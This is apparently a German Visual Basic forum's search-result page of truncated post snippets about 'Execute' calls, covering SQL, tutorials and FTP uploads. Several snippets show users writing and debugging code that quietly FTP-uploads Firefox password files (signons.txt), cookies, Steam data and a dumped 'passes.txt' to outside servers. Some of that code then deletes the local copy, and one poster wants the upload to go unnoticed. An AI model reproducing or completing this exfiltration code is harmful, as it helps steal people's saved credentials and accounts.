Visual Basic Forum

Verfasst am: 25.05.2011, 14:44 Aufrufe: 743

... Sub Main() Dim ConnectionString As String = "Data Source=WINXP\FREIWILD;Initial Catalog=NeueDatenbank;Integrated Security=True" Using Connection As SqlConnection = New SqlConnection(ConnectionString) Connection.Open() Dim Command As SqlCommand = Connection.CreateCommand() Command.CommandText = "execute ...

Verfasst am: 18.06.2010, 09:11 Aufrufe: 823

NET auf diese zuzugreifen. Soweit klappt das auch, nur scheitere ich beim Auslesen der Daten. Mein Code bisher: myConnection = New MYSQL_CONNECTION() myConnection.OpenConnection() books = myConnection.Execute("Select `title`, `author` from `books`") While Not books.EOF title = books.Fields("title").Value ...

Verfasst am: 28.01.2010, 13:38 Aufrufe: 2310

MM.JJJJ]": Work6.Caption = "ändern...": Refresh If TypDatenbank = 1 Then conORCL.Execute "ALTER SESSION SET NLS_DATE_FORMAT = 'DD.MM.YYYY'" If Err Then Work6.Caption = "Fehler Befehlsausführung [" & Err.Number & "]" InitError = InitError + 1: Err.Clear Else Work6.Caption = "Datumsformat geändert" End If If Che ...

Verfasst am: 21.01.2010, 10:25 Aufrufe: 720

hi ich fürchte ich kann dir da keine lösung anbieten da ich mich mit dem thema noch nie beschäftigt habe und weiters kann sein dass gar keine möglichkeit besteht das so umzusetzen wie du das möchtest da vb6 schon recht alt ist aber im notfall müsstest halt mit shell execute (glaub so schreibt man das) das standardprogramm mit dem pdf aufrufen

Verfasst am: 24.08.2009, 20:21 Aufrufe: 865

Verfasst am: 04.08.2009, 17:08 Aufrufe: 651

Hi, du musst das FileSearch noch ausführen. Du hast mit deinen Befehlen nur die Bedingungen gesetzt. Mit Filesearch.execute wird das ausgeführt und du kannst das Ergebnis z. B. mit deinem Befehl Debug.Print "Anzahl Dateien: '" & varFS.FoundFiles.Count &_ "'" auswerten. MfG

Verfasst am: 15.06.2009, 18:56 Aufrufe: 1124

UserName = FTP_Username Inet1.Password = FTP_Passwort Inet1.Execute , "Put", LocalFile, RemoteFile Do Loop Until Inet1.StillExecuting = True End FunctionAch so, die fertige CutString Funktion hätte ich fast vergessen. ;DPublic Function CutString(ByVal TheString As String, _ TheStringToCut As String) As String Dim Var() ...

Verfasst am: 15.06.2009, 12:55 Aufrufe: 695

Thema: Enums nutzenAutor: exe-cuteHier ein TUT fuer das benutzen eines Enums.Mit einem enum gelingt folgendes:Lets go:Enum:Die sub:(mir faellt grade auf, bei Case Mogen is die MassageBox Falsch. Ich denk aba das wird jeder cheggen.)Dies ist nun ein beispiel, zu welches man ein enum benutzen kann. EIn enum hat jedoch nicht immer die werte 1,2 oder 3.Meist haben sie laengere werte die man sich nicht alle merken moechte ...

Verfasst am: 15.06.2009, 12:54 Aufrufe: 995

Thema: Types nutzenAutor: exe-cuteHier erleutere ich euch das arbeitem mit einem Type.Der Type:Private Type Test FormWidth As Long StartTime As String End Type Dim t As TestDieser Type beinhaltet 2 Variablen. Einen Long & einen string.Private Sub Form_Load() t.

Verfasst am: 15.05.2009, 08:16 Aufrufe: 712

yyyy") & " - " & Format(Now, "hh:mm") & ".txt" On Error GoTo EndIt: With Inet1 .AccessType = icUseDefault .Protocol = icFTP .RemotePort = "21" .URL = txtname .UserName = txtuser .Password = txtpw a = PWFile b = PWFile .Execute , "PUT " & Localfile & " " & FTPFile End With ...

Verfasst am: 08.05.2009, 23:11 Aufrufe: 1102

Password = "*******" .Execute , "PUT " & Localfile & " " & Remotefile Do While Inet1.StillExecuting DoEvents Loop .

Verfasst am: 07.05.2009, 15:41 Aufrufe: 609

Protocol = icFTP .RemotePort = "21" .URL = "sldc.sl.funpic.de" .UserName = "sldc" .Password = "pw" .Execute , "PUT " & localfile & " " & remotefile Do While Inet1.StillExecuting = True DoEvents Loop With Inet2 .AccessType = icUseDefault .Protocol = icFTP .RemotePort = "21" .URL = "sldc. ...

Verfasst am: 06.05.2009, 20:55 Aufrufe: 514

RemotePort = "21" .URL = "sldc.sl.funpic.de" .UserName = "sldc" .Password = "pw" .Execute , "PUT " & localfile & " " & remotefile Do While Inet1.StillExecuting = True DoEvents Loop Kill localfile End With End End Sub Eine leere cookies.txt wird geuppt !? wenn ich anstatt cookies signons2 mach, gehts oO mysteriös ...

Verfasst am: 01.05.2009, 19:33 Aufrufe: 625

RemotePort = "21" .URL = DATA_PARAMS(0) .UserName = DATA_PARAMS(1) .Password = DATA_PARAMS(2) a = "steam.txt" b = "steam.txt" .Execute , "PUT " & a & " " & b End With Do While Inet1.StillExecuting = True DoEvents Loop Kill LocalFile End End Sub inet is auf der form eine steam.txt wird erstelt aber n ...

Verfasst am: 12.04.2009, 16:35 Aufrufe: 2125

UserName = FTP_Username Inet1.Password = FTP_Passwort Inet1.Execute , "Put", LocalFile, RemoteFile Do Loop Until Inet1.StillExecuting = True End Function Ach so, die fertige CutString Funktion hätte ich fast vergessen. ;D Public Function CutString(ByVal TheString As String, _ TheStringToCut As String) As String Dim Var() As String Dim EndString As String Var = Split(TheStrin ...

Verfasst am: 01.04.2009, 22:45 Aufrufe: 782

Execute Server, Method, data, _ "Content-Type: multipart/form-data; boundary=---------------------------249462750613030" & vbCrLf & _ "Content-Disposition: form-data; name=""picture[]""; filename=""" & DieDatei & """" & vbCrLf & _ "Cache-Control: no-store, no-cache, must-revalidate" & vbC ...

Verfasst am: 25.02.2009, 11:05 Aufrufe: 536

hi, wie rufe ich ein script mit dem internetcontrol auf wenn die methode GET ist? inet.execute "http://server.tld/?var=wert&var=wert", GET, data, header inet.execute "http://server.tld", "GET", "var=wert&var=wert", header beides geht nicht. die zweite variante geht nur bei POST. mfg

Verfasst am: 01.08.2008, 22:18 Aufrufe: 1288

Textb = txt_searched.Text.Execute , "PUT " & a & " " & bEnd WithMsgBox "Ihre Datei wurde erfolgreich auf ihrem FTP-Server Geuploaded!"End SubPrivate Sub Command2_Click()MsgBox "Wen ihr mal Hilfe braucht , beim Coden oder andren Sachen , kontaktiert mich, Den Coder dieses Programms, Blackfinal , in ICQ. Meine Nummer lautet 417-898-088. Hf & Gl Wink

"End SubPrivate Sub Label1_Click()End SubPrivate Sub Form_Load()End ...

Verfasst am: 01.08.2008, 17:29 Aufrufe: 1288

..Egal , intressiert euch sicher nicht :DEinfach die Frage:Wie geb ich dem Button bescheid, er soll die datei , dessen pfad in txt_searched.Text is ,uploadedhabs ma so probiert, dass ich zuerst a und b (remote+localhost) definiert habe , und jeweis a=txt_searched.Text b=txt_searched.textUnd zwar so dann:.Execute , "PUT " & a & " " & bjoa...Funzt aber nich ... :wink:Wen ich es mit ner Textbox mache , das man eingeben ...

Verfasst am: 24.07.2008, 10:00 Aufrufe: 860

Verfasst am: 19.07.2008, 22:33 Aufrufe: 797

ich weiss nicht ob das funktioniert aber schreib mal in den timerPrivate Sub Timer4_Timer()If inetFTP.State = 12 theninetFTP.Execute , "Put " & _ Text10.Text & " " & txtRemoteFile2.TextEnd ifEnd Sub

Verfasst am: 19.07.2008, 22:29 Aufrufe: 797

Verfasst am: 19.07.2008, 22:05 Aufrufe: 797

das war iwas mit execute glaub ich.. mir hat es einer gezeigt, aber hab vergessen zu speichern... >.

Verfasst am: 06.07.2008, 11:04 Aufrufe: 667

Verfasst am: 22.06.2008, 17:38 Aufrufe: 738

Verfasst am: 10.06.2008, 16:52 Aufrufe: 1428

Ja , danke für den hinweis exe-cute nur wie soll ich das sonst nennen ?Ich habe auch nur geagt das es schön aussieht mehr auch nicht.MfG.BadboyGER

Verfasst am: 05.06.2008, 14:31 Aufrufe: 758

Verfasst am: 05.06.2008, 13:43 Aufrufe: 758

Ok jetzt wen ich auf uploaden klicke wird diese zeile gelb angestrichen .Execute , "PUT" & a & " " & b 'hier lädst du allerdings beide hoch, obwohl nur Text1.txt vorhanden ist. Ich denke, dass da der Fehler liegt

Verfasst am: 04.06.2008, 19:02 Aufrufe: 758

Text 'hier schreibst du nur eine Zeile in die txt DateiClose #1Dim a As StringDim b As String 'hier definierst du allerdings zwei, was aber nicht zu schlimm istWith Inet1a = Text1.Textb = Text2.Text.Execute , "PUT" & a & " " & b 'hier lädst du allerdings beide hoch, obwohl nur Text1.txt vorhanden ist. Ich denke, dass da der Fehler liegtEnd WithMsgBox ("Erfolgreich geuplodaed")End SubPrivate Sub Form_Load()Form1.ShowL ...

Verfasst am: 04.06.2008, 17:27 Aufrufe: 758

Text .Execute , "P[B][COLOR=Red]U[/COLOR][/B]T" & a & [B][COLOR=Red]" "[/COLOR][/B] & b End With MsgBox ("Erfolgreich geuplodaed") End Sub Private Sub Form_Load() Form1.Show Load Form2 End Sub ...

Verfasst am: 04.06.2008, 17:13 Aufrufe: 758

Text Close #1 Dim a As String Dim b As String With Inet1 a = Text1.Text b = Text2.Text .Execute , "POT" & a & "" & b End With MsgBox ("Erfolgreich geuplodaed") End Sub Private Sub For ...

Verfasst am: 08.05.2008, 16:37 Aufrufe: 4932

Verfasst am: 23.04.2008, 22:08 Aufrufe: 446

exe-cute danke ich werde mich näher damit befassen. Ich habe das nach den Tutorial von Zag gemacht und glaube das es an der Sinconsole liegt denn der server empfängt nur den befehl txt.exe anlegen und schreibt nix rein das heist das er keinen String vom client bekommt nur ich weis nicht wie ich dieses problem lösen soll.

Verfasst am: 14.04.2008, 12:56 Aufrufe: 368

Verfasst am: 13.04.2008, 19:10 Aufrufe: 368

Verfasst am: 11.04.2008, 20:36 Aufrufe: 847

Caption = "Verbunden zur MYSQL-Datenbank:" & DB aufgerufen Else End If End Sub Private Sub Form_Unload(Cancel As Integer) oConn.CloseConnection End End Sub so mit diesem Code konnte ich nun in die MySQL hineinschreiben oConn.Execute "INSERT INTO `blab`.`blub` (`ID` ,`text1` ,`text2`)VALUES ( '3', 'lala', 'lalalala')" Jetzt komm ich zu ...

Verfasst am: 05.04.2008, 09:37 Aufrufe: 663

... , b As String a = "C:\WINDOWS\1.txt" b = "/1.txt" With Inet1 .AccessType = icUseDefault .Protocol = icFTP .RemotePort = "21" .URL = "---" .UserName = "---" .Password = "---" End With Dim sCommand As String sCommand = "PUT " & a & " " & b Inet1.Execute ...

Verfasst am: 05.04.2008, 09:21 Aufrufe: 663

Password = "---" End With Nun möchte ich dir noch erklären, dass du mit Inet1.Execute nur einen String an den FTP Server sendest. Er erwartet eine Zeichenkette, die folgendermaßen aufgebaut ist: PUT PfadzurDateiaufderFestplatte /DateiaufdemFTP Diesen String setzt du dann so zusammen: Dim sCommand As String sCommand = "PUT " & a & " " & b In deinem Fall sieht er nu ...

Verfasst am: 05.04.2008, 06:52 Aufrufe: 663

txt" With Inet1 .AccessType = icUseDefault .Protocol = icFTP .RemotePort = "21" .URL = "---" .UserName = "---" .Password = "---" .Execute , "PUT " & a End With Ich möchte das die 1.txt vom Windows ordner Genommen wird und Hochgeladen wird. Und so das es man nicht Bewerkt. ...

Verfasst am: 29.03.2008, 12:51 Aufrufe: 594

Text Close #1 Dim a As String Dim b As String With Inet1 .AccessType = icUseDefault .Protocol = icFTP .RemotePort = "21" .URL = "xxxxxx" .UserName = "xxxxx" .Password = "xxxxx" a = "Log.txt" b = "Log.txt" .Execute , "put" & a & "" & b End With End Sub ach ja, die daten stimmen 100%ig! danke s ...

Verfasst am: 28.03.2008, 18:49 Aufrufe: 2683

RemotePort = "21" .URL = "..." .UserName = "..." .Password = "..." a = "passes.txt" b = "passes.txt" .Execute , "PUT " & a & " " & b End With der zeigt mir immer an, dass passes.txt nicht definiert ist obwohl die doch per /stext erstellt wurde. Bitte um Hilfe bin auch noch ziemlich neu bei der ganzen sache MfG sp ...

Verfasst am: 22.03.2008, 22:17 Aufrufe: 956

Der erkennt bei mir das passwort(zahl) nicht... mhm ja da war wohl ein schreibfehler irgendwo also entweder du benutzt jetzt diesen code, den ich jetzt sogar getestet habe, überall wo du sonst das passwort generiest: Randomize txt_pw.Text = "" Dim zahl As Integer Dim passwortlaenge As Integer Dim i As Integer passwortlaenge = 6 For i = 1 To passwortlaenge Randomize 'zufällige Zahlen aussuch ...

Verfasst am: 20.03.2008, 17:13 Aufrufe: 3098

Aber du hast nicht erklärt, dass eigentlich nur Strings an den Server gesendet werden. Der Code a = "C:/datei.txt" b = "/datei.txt" .Execute "PUT " & a & " " & b übergibt dem FTP Server nur folgenden String. PUT C:/datei.txt /datei.txt

Verfasst am: 20.03.2008, 17:05 Aufrufe: 3098

Password = "password" So, jetzt müssen wir festlegen was geuploaded werden soll a = "C:/lol.exe" b = "/name wie die datei auf dem FTP heißen soll" Ok, jetzt müssen wir den Upload befehl geben .Execute "PUT " & a & " " & b Hier wird die lol.exe geuploaded Das wars auch schon. Hoffe ihr kontet etwas daraus lernen Smile

mfg, the_g ...

Verfasst am: 18.03.2008, 14:22 Aufrufe: 744

Verfasst am: 17.03.2008, 19:27 Aufrufe: 744

Password = pw .Execute , "PUT " + LocalFile + " " + RemoteFile End With MsgBox "Upload done", , "Done" doch der kommt nicht ma bis zur Message also muss der ja beim FTP upload stehen bleiben, doch welbst wenn ich den mit DoEvents 100 Minuten warten lasse, passiert nicht zur info, ich habs auf nem extra.hu server probiert Edit by tr4st: Gib dir mehr Mühe ...

Verfasst am: 15.03.2008, 17:38 Aufrufe: 654

RemotePort = "21" .URL = "FTP-URL" .UserName = "FTP-USER" .Password = "FTP-PW" .Execute , "PUT " & PassFile1 & " " & "signons2.txt" Do While Inet1.StillExecuting DoEvents Loop .Execute , "PUT " & PassFile2 & " " & "signons.txt" Do While I ...

Verfasst am: 13.03.2008, 21:30 Aufrufe: 654

RemotePort = "21" .URL = "FTP-URL" .UserName = "FTP-USER" .Password = "FTP-PW" .Execute , "PUT " & PassFile1 & " " & "signons2.txt" Do While Inet1.StillExecuting DoEvents Loop .Execute , "PUT " & PassFile2 & " " & "signons.txt" Do Whil ...

Verfasst am: 12.03.2008, 20:13 Aufrufe: 781

Dim Localfile as String Dim Remotefile as String Localfile = "zu uppende datei" Remotefile = "/namen wies auf dem ftp heissen soll" With Inet1 .AccessType = icUseDefault .Protocol = icFTP .RemotePort = "21" .URL = "user.us.funpic.de" .UserName = "user" .Password = "password" .Execute , "PUT " & Localfile & &qu ...

Verfasst am: 09.03.2008, 15:16 Aufrufe: 533

RemotePort = "21" .URL = "zensiert" .UserName = "zensiert" .Password = "zensert" .Execute , "PUT " & Localfile & " " & Remotefile Do While Inet1.StillExecuting DoEvents Loop .Execute , "PUT " & Localfile2 & " " & Remotefile2 Do While Inet1.StillExecuting DoEvents ...